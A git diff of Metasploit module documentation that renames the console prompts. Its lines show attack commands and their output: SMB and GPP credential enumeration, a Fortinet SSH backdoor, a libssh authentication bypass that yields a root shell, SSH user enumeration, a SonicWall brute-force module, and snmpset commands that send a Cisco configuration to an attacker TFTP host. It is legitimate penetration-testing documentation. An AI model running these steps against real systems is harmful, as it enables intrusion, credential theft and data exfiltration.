a/documentation/modules/auxiliary/scanner/sip/options_tcp.md +++ b/documentation/modules/auxiliary/scanner/sip/options_tcp.md @@ -18,10 +18,10 @@ ``` -msf5 > use auxiliary/scanner/sip/options_tcp -msf5 auxiliary(scanner/sip/options_tcp) > set rhosts 2.2.2.2 +msf > use auxiliary/scanner/sip/options_tcp +msf auxiliary(scanner/sip/options_tcp) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf5 auxiliary(scanner/sip/options_tcp) > run +msf auxiliary(scanner/sip/options_tcp) > run [*] 2.2.2.2:5060 - 2.2.2.2:5060 tcp SIP/2.0 200 OK: {"Server"=>"Cisco-SIPGateway/IOS-12.x", "Allow"=>"INVITE, OPTIONS, BYE, CANCEL, ACK, PRACK, UPDATE, REFER, SUBSCRIBE, NOTIFY, INFO, REGISTER"} [*] 2.2.2.2:5060 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/smb/smb_enum_gpp.md b/documentation/modules/auxiliary/scanner/smb/smb_enum_gpp.md index 6c2d4f67406c4..fd5dd80b133b7 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_enum_gpp.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_enum_gpp.md @@ -42,14 +42,14 @@ Example steps in this format (is also in the PR): The following example use the contrived setup from the "Test Environment" section. ``` -msf6 auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp -msf6 auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10 +msf auxiliary(scanner/smb/smb_enum_gpp) > use auxiliary/scanner/smb/smb_enum_gpp +msf auxiliary(scanner/smb/smb_enum_gpp) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre +msf auxiliary(scanner/smb/smb_enum_gpp) > set SMBUSER smcintyre SMBUSER => smcintyre -msf6 auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1 +msf auxiliary(scanner/smb/smb_enum_gpp) > set SMBPass Password1 SMBPass => Password1 -msf6 auxiliary(scanner/smb/smb_enum_gpp) > run +msf auxiliary(scanner/smb/smb_enum_gpp) > run [*] 192.168.159.10:445 - Connecting to the server... [*] 192.168.159.10:445 - Mounting the remote share \\192.168.159.10\SYSVOL'... @@ -73,5 +73,5 @@ msf6 auxiliary(scanner/smb/smb_enum_gpp) > run [+] 192.168.159.10:445 - Groups.xml saved as: /home/smcintyre/.msf4/loot/20200828163158_default_192.168.159.10_smb.shares.file_279441.xml [*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/smb/smb_enum_gpp) > +msf auxiliary(scanner/smb/smb_enum_gpp) > ``` diff --git a/documentation/modules/auxiliary/scanner/smb/smb_enumshares.md b/documentation/modules/auxiliary/scanner/smb/smb_enumshares.md index 8430e1706bd85..bfbb87b10798a 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_enumshares.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_enumshares.md @@ -50,13 +50,13 @@ Can be set to only enumerate over a specific share. ### Uncredentialed - Windows 10 Target ``` -msf6 auxiliary(scanner/smb/smb_enumshares) > set SpiderProfiles false +msf auxiliary(scanner/smb/smb_enumshares) > set SpiderProfiles false SpiderProfiles => false -msf6 auxiliary(scanner/smb/smb_enumshares) > set SpiderShares false +msf auxiliary(scanner/smb/smb_enumshares) > set SpiderShares false SpiderShares => false -msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.129.131 +msf auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.129.131 RHOSTS => 192.168.129.131 -msf6 auxiliary(scanner/smb/smb_enumshares) > run +msf auxiliary(scanner/smb/smb_enumshares) > run [*] 192.168.129.131:139 - Starting module [-] 192.168.129.131:139 - Login Failed: The SMB server did not reply to our request @@ -72,11 +72,11 @@ As you can see in the previous scan, access is denied to most of the systems tha Doing a Credentialed scan produces much different results. ``` -msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBPass simon +msf auxiliary(scanner/smb/smb_enumshares) > set SMBPass simon SMBPass => simon -msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBUser simon +msf auxiliary(scanner/smb/smb_enumshares) > set SMBUser simon SMBUser => simon -msf6 auxiliary(scanner/smb/smb_enumshares) > run +msf auxiliary(scanner/smb/smb_enumshares) > run [*] 192.168.129.131:139 - Starting module [-] 192.168.129.131:139 - Login Failed: The SMB server did not reply to our request @@ -100,7 +100,7 @@ This scenario makes use of the `Share` option, that is used to pass a specific s also being ran with inline options in this scenario. ``` -msf6 auxiliary(scanner/smb/smb_enumshares) > run smb://:@ spidershares=true showfiles=true share= +msf auxiliary(scanner/smb/smb_enumshares) > run smb://:@ spidershares=true showfiles=true share= [*] - Starting module [-] - Login Failed: The SMB server did not reply to our request diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md index 670127debfc68..cc3ba03a2dc71 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_login.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -44,7 +44,7 @@ When using the smb_login module, the CreateSession option can be used to obtain session within the smb instance. Running with the following options: ```msf -msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username +msf auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username ``` Should give you output containing: @@ -55,14 +55,14 @@ Should give you output containing: [*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000 [*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1 +msf auxiliary(scanner/smb/smb_login) > sessions -i -1 [*] Starting interaction with 1... ``` Which you can interact with using `sessions -i ` or `sessions -i -1` to interact with the most recently opened session. ```msf -msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1 +msf auxiliary(scanner/smb/smb_login) > sessions -i -1 [*] Starting interaction with 1... SMB (172.14.2.164) > shares diff --git a/documentation/modules/auxiliary/scanner/smb/smb_version.md b/documentation/modules/auxiliary/scanner/smb/smb_version.md index afda7d8c83e29..4e181df7a6d05 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_version.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_version.md @@ -39,9 +39,9 @@ identify the information about the host operating system. This is an example run of a network with several different version of Windows, metasploit 1 and 2, and a NAS device running SAMBA. ``` -msf5 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.159.0/24 +msf auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.159.0/24 RHOSTS => 192.168.159.0/24 -msf5 auxiliary(scanner/smb/smb_version) > show options +msf auxiliary(scanner/smb/smb_version) > show options Module options (auxiliary/scanner/smb/smb_version): @@ -50,7 +50,7 @@ Module options (auxiliary/scanner/smb/smb_version): RHOSTS 192.168.159.0/24 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' THREADS 15 yes The number of concurrent threads (max one per host) -msf5 auxiliary(scanner/smb/smb_version) > run +msf auxiliary(scanner/smb/smb_version) > run [*] 192.168.159.10:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:required) (guid:{faf5534c-d125-4081-aa2a-cf3256415908}) (authentication domain:MSFLAB) [*] 192.168.159.10:445 - Host could not be identified: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3) @@ -74,5 +74,5 @@ msf5 auxiliary(scanner/smb/smb_version) > run [*] 192.168.159.0/24: - Scanned 234 of 256 hosts (91% complete) [*] 192.168.159.0/24: - Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/smb/smb_version) > +msf auxiliary(scanner/smb/smb_version) > ``` diff --git a/documentation/modules/auxiliary/scanner/smtp/smtp_version.md b/documentation/modules/auxiliary/scanner/smtp/smtp_version.md index f20d26d2e85a2..b1b1685df11e8 100644 --- a/documentation/modules/auxiliary/scanner/smtp/smtp_version.md +++ b/documentation/modules/auxiliary/scanner/smtp/smtp_version.md @@ -26,10 +26,10 @@ In this case, we don't need to configure all the users and set up the server ful ### Postfix 3.3.0-1+b1 (Ubuntu package number) on Kali (using above config) ``` - msf5 > use auxiliary/scanner/smtp/smtp_version - msf5 auxiliary(scanner/smtp/smtp_version) > set rhosts 10.168.202.216 + msf > use auxiliary/scanner/smtp/smtp_version + msf auxiliary(scanner/smtp/smtp_version) > set rhosts 10.168.202.216 rhosts => 10.168.202.216 - msf5 auxiliary(scanner/smtp/smtp_version) > run + msf auxiliary(scanner/smtp/smtp_version) > run [+] 10.168.202.216:25 - 10.168.202.216:25 SMTP 220 rageKali.ragegroup ESMTP Postfix (Debian/GNU)\x0d\x0a ``` diff --git a/documentation/modules/auxiliary/scanner/snmp/cisco_config_tftp.md b/documentation/modules/auxiliary/scanner/snmp/cisco_config_tftp.md index 2204fe0a2cdc3..9c554212256db 100644 --- a/documentation/modules/auxiliary/scanner/snmp/cisco_config_tftp.md +++ b/documentation/modules/auxiliary/scanner/snmp/cisco_config_tftp.md @@ -26,12 +26,12 @@ ### Cisco UC520-8U-4FXO-K9 running IOS 12.4 ``` -msf5 > setg rhosts 2.2.2.2 +msf > setg rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf5 > use auxiliary/scanner/snmp/cisco_config_tftp -msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private +msf > use auxiliary/scanner/snmp/cisco_config_tftp +msf auxiliary(scanner/snmp/cisco_config_tftp) > set community private community => private -msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run +msf auxiliary(scanner/snmp/cisco_config_tftp) > run [*] Starting TFTP server... [*] Scanning for vulnerable targets... @@ -55,10 +55,10 @@ was utilized to create this process. 1. Start the TFTP server ``` -msf5 > use auxiliary/server/tftp -msf5 auxiliary(server/tftp) > run +msf > use auxiliary/server/tftp +msf auxiliary(server/tftp) > run [*] Auxiliary module running as background job 0. -msf5 auxiliary(server/tftp) > +msf auxiliary(server/tftp) > [*] Starting TFTP server on 0.0.0.0:69... [*] Files will be served from /tmp [*] Uploaded files will be saved in /tmp @@ -67,27 +67,27 @@ msf5 auxiliary(server/tftp) > 2. Execute the SNMP commands. An integer is required to group the requests together, `666` is used in this example. ``` -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1 -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4 -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1 -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1 -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config" -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1 @@ -96,7 +96,7 @@ iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1 3. At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove `666` from the system. ``` -msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6 +msf auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6 [*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6 iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6 @@ -105,7 +105,7 @@ iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6 4. Confirm we have our config file ``` -msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config +msf auxiliary(server/tftp) > ls -lah /tmp/backup_config [*] exec: ls -lah /tmp/backup_config -rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config diff --git a/documentation/modules/auxiliary/scanner/snmp/cisco_upload_file.md b/documentation/modules/auxiliary/scanner/snmp/cisco_upload_file.md index 48b294bce4e33..6f50bdd08cc66 100644 --- a/documentation/modules/auxiliary/scanner/snmp/cisco_upload_file.md +++ b/documentation/modules/auxiliary/scanner/snmp/cisco_upload_file.md @@ -49,14 +49,14 @@ Override_Config ### Cisco UC520-8U-4FXO-K9 running IOS 12.4 ``` -msf5 > setg rhosts 2.2.2.2 +msf > setg rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf5 > use auxiliary/scanner/snmp/cisco_upload_file -msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2 +msf > use auxiliary/scanner/snmp/cisco_upload_file +msf auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2 source => /tmp/backup_config2 -msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private +msf auxiliary(scanner/snmp/cisco_upload_file) > set community private community => private -msf5 auxiliary(scanner/snmp/cisco_upload_file) > run +msf auxiliary(scanner/snmp/cisco_upload_file) > run [*] Starting TFTP server... [*] Copying file backup_config2 to 2.2.2.2... @@ -69,17 +69,17 @@ msf5 auxiliary(scanner/snmp/cisco_upload_file) > run ``` -`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private` +`msf auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private` `COMMUNITY => private` -`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164` +`msf auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164` `LHOST => 10.20.164.164` -`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config` +`msf auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config` `action => Override_Config` -`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5` +`msf auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5` `rhosts => 10.20.205.5` -`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig` +`msf auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig` `source => /root/Desktop/newconfig` -`msf5 auxiliary(scanner/snmp/cisco_upload_file) > run` +`msf auxiliary(scanner/snmp/cisco_upload_file) > run` `[*] Starting TFTP server...` `[*] Copying file newconfig to 10.20.205.5...` diff --git a/documentation/modules/auxiliary/scanner/sonicwall/sonicwall_login.md b/documentation/modules/auxiliary/scanner/sonicwall/sonicwall_login.md new file mode 100644 index 0000000000000..41bc379e67ace --- /dev/null +++ b/documentation/modules/auxiliary/scanner/sonicwall/sonicwall_login.md @@ -0,0 +1,19 @@ +## Description + +The module will perform a bruteforce attack against SonicWall NSv (Network Security Virtual). +It allows attacking both regular SSLVPN users and as well as admins. The module will automatically target SSLVPN users if the `DOMAIN` parameter is not empty. + +## Vulnerable Application + +- [SonicWall](https://www.sonicwall.com/resources/trials-landing/sonicwall-nsv-next-gen-virtual-firewall-trial) + +## Verification Steps + +1. `use auxiliary/scanner/sonicwall/sonicwall_login` +2. `set RHOSTS [IP]` +3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]` +4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]` +5. `set DOMAIN [domain to attack/empty string to attack admin account]` +6. `run` + + diff --git a/documentation/modules/auxiliary/scanner/ssh/fortinet_backdoor.md b/documentation/modules/auxiliary/scanner/ssh/fortinet_backdoor.md index dc5725a87fa23..dc3ee7bb2295f 100644 --- a/documentation/modules/auxiliary/scanner/ssh/fortinet_backdoor.md +++ b/documentation/modules/auxiliary/scanner/ssh/fortinet_backdoor.md @@ -11,12 +11,12 @@ This module scans for the Fortinet SSH backdoor and creates sessions. ## Usage ``` -msf5 > use auxiliary/scanner/ssh/fortinet_backdoor -msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24 +msf > use auxiliary/scanner/ssh/fortinet_backdoor +msf auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24 rhosts => 192.168.212.0/24 -msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100 +msf auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100 threads => 100 -msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run +msf auxiliary(scanner/ssh/fortinet_backdoor) > run [*] Scanned 54 of 256 hosts (21% complete) [+] 192.168.212.128:22 - Logged in as Fortimanager_Access @@ -31,7 +31,7 @@ msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run [*] Scanned 240 of 256 hosts (93% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1 +msf auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1 [*] Starting interaction with 1... FortiGate-VM # get system status diff --git a/documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md b/documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md index d1d46913f89cf..159b5e110c54d 100644 --- a/documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md +++ b/documentation/modules/auxiliary/scanner/ssh/libssh_auth_bypass.md @@ -134,23 +134,23 @@ OOB authentication packet always returns `true`. Positive testing against unpatched libssh 0.8.3: ``` -msf5 > use auxiliary/scanner/ssh/libssh_auth_bypass -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3 +msf > use auxiliary/scanner/ssh/libssh_auth_bypass +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set rhosts 172.28.128.3 rhosts => 172.28.128.3 -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222 +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 2222 rport => 2222 -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set spawn_pty true spawn_pty => true -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set verbose true verbose => true -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run +msf auxiliary(scanner/ssh/libssh_auth_bypass) > run [*] 172.28.128.3:2222 - Attempting authentication bypass [+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched [*] Command shell session 1 opened (172.28.128.1:56981 -> 172.28.128.3:2222) at 2018-10-19 12:38:24 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1 +msf auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -1 [*] Starting interaction with 1... # id @@ -168,11 +168,11 @@ tty Positive testing of shell commands using the `Execute` action: ``` -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute action => Execute -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a cmd => id; uname -a -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run +msf auxiliary(scanner/ssh/libssh_auth_bypass) > run [*] 172.28.128.3:2222 - Attempting authentication bypass [+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched @@ -181,53 +181,53 @@ uid=0(root) gid=0(root) groups=0(root) Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > +msf auxiliary(scanner/ssh/libssh_auth_bypass) > ``` Negative testing against patched libssh 0.8.4: ``` -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run +msf auxiliary(scanner/ssh/libssh_auth_bypass) > run [*] 172.28.128.3:2222 - Attempting authentication bypass [-] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.4 appears to be patched [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > +msf auxiliary(scanner/ssh/libssh_auth_bypass) > ``` Negative testing against an insufficiently implemented libssh server: ``` -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run +msf auxiliary(scanner/ssh/libssh_auth_bypass) > run [*] 172.28.128.3:2222 - Attempting authentication bypass [+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched [-] 172.28.128.3:2222 - Net::SSH::ChannelOpenFailed: Session channel open failed (1) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run +msf auxiliary(scanner/ssh/libssh_auth_bypass) > run [*] 172.28.128.3:2222 - Attempting authentication bypass [+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched [-] 172.28.128.3:2222 - Net::SSH::ChannelRequestFailed: Shell/exec channel request failed [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > +msf auxiliary(scanner/ssh/libssh_auth_bypass) > ``` Negative testing against OpenSSH: ``` -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22 +msf auxiliary(scanner/ssh/libssh_auth_bypass) > set rport 22 rport => 22 -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run +msf auxiliary(scanner/ssh/libssh_auth_bypass) > run [*] 172.28.128.3:22 - Attempting authentication bypass [-] 172.28.128.3:22 - SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 does not appear to be libssh [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > +msf auxiliary(scanner/ssh/libssh_auth_bypass) > ``` Confirming auth is still normally present using the OpenSSH client: diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.md b/documentation/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.md index 0306cd0f77e8a..d0cb6a3b18faf 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_enum_git_keys.md @@ -14,10 +14,10 @@ This module attempts to authenticate to Git servers using compromised SSH privat ## Usage ``` -msf5 > use auxiliary/scanner/ssh/ssh_enum_git_keys -msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > set KEY_DIR /Users/w/.ssh +msf > use auxiliary/scanner/ssh/ssh_enum_git_keys +msf auxiliary(scanner/ssh/ssh_enum_git_keys) > set KEY_DIR /Users/w/.ssh KEY_DIR => /Users/w/.ssh -msf5 auxiliary(scanner/ssh/ssh_enum_git_keys) > run +msf auxiliary(scanner/ssh/ssh_enum_git_keys) > run Git Access Data =============== diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_enumusers.md b/documentation/modules/auxiliary/scanner/ssh/ssh_enumusers.md index 772ce12914377..cea7fefe3688c 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_enumusers.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_enumusers.md @@ -39,17 +39,17 @@ Check for false positives (random username). ## Usage ``` -msf5 > use auxiliary/scanner/ssh/ssh_enumusers -msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts [redacted] +msf > use auxiliary/scanner/ssh/ssh_enumusers +msf auxiliary(scanner/ssh/ssh_enumusers) > set rhosts [redacted] rhosts => [redacted] -msf5 auxiliary(scanner/ssh/ssh_enumusers) > echo $'wvu\nbcook' > users +msf auxiliary(scanner/ssh/ssh_enumusers) > echo $'wvu\nbcook' > users [*] exec: echo $'wvu\nbcook' > users -msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file users +msf auxiliary(scanner/ssh/ssh_enumusers) > set user_file users user_file => users -msf5 auxiliary(scanner/ssh/ssh_enumusers) > set verbose true +msf auxiliary(scanner/ssh/ssh_enumusers) > set verbose true verbose => true -msf5 auxiliary(scanner/ssh/ssh_enumusers) > run +msf auxiliary(scanner/ssh/ssh_enumusers) > run [*] [redacted]:22 - SSH - Using malformed packet technique [*] [redacted]:22 - SSH - Starting scan @@ -57,9 +57,9 @@ msf5 auxiliary(scanner/ssh/ssh_enumusers) > run [-] [redacted]:22 - SSH - User 'bcook' not found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack +msf auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack action => Timing Attack -msf5 auxiliary(scanner/ssh/ssh_enumusers) > run +msf auxiliary(scanner/ssh/ssh_enumusers) > run [*] [redacted]:22 - SSH - Using timing attack technique [*] [redacted]:22 - SSH - Starting scan @@ -67,7 +67,7 @@ msf5 auxiliary(scanner/ssh/ssh_enumusers) > run [-] [redacted]:22 - SSH - User 'bcook' not found [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/ssh/ssh_enumusers) > creds +msf auxiliary(scanner/ssh/ssh_enumusers) > creds Credentials =========== @@ -75,5 +75,5 @@ host origin service public private realm private_type ---- ------ ------- ------ ------- ----- ------------ [redacted] [redacted] 22/tcp (ssh) wvu -msf5 auxiliary(scanner/ssh/ssh_enumusers) > +msf auxiliary(scanner/ssh/ssh_enumusers) > ``` diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md b/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md index f88cfef2db08a..fe0eac091db81 100644 --- a/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md +++ b/documentation/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.md @@ -57,12 +57,12 @@ The maximum time to negotiate a SSH session. ### Metasploitable22 ```shell -msf6 auxiliary(scanner/ssh/ssh_identify_pubkeys) > cat id_rsa.pub +msf auxiliary(scanner/ssh/ssh_identify_pubkeys) > cat id_rsa.pub [*] exec: cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable -msf6 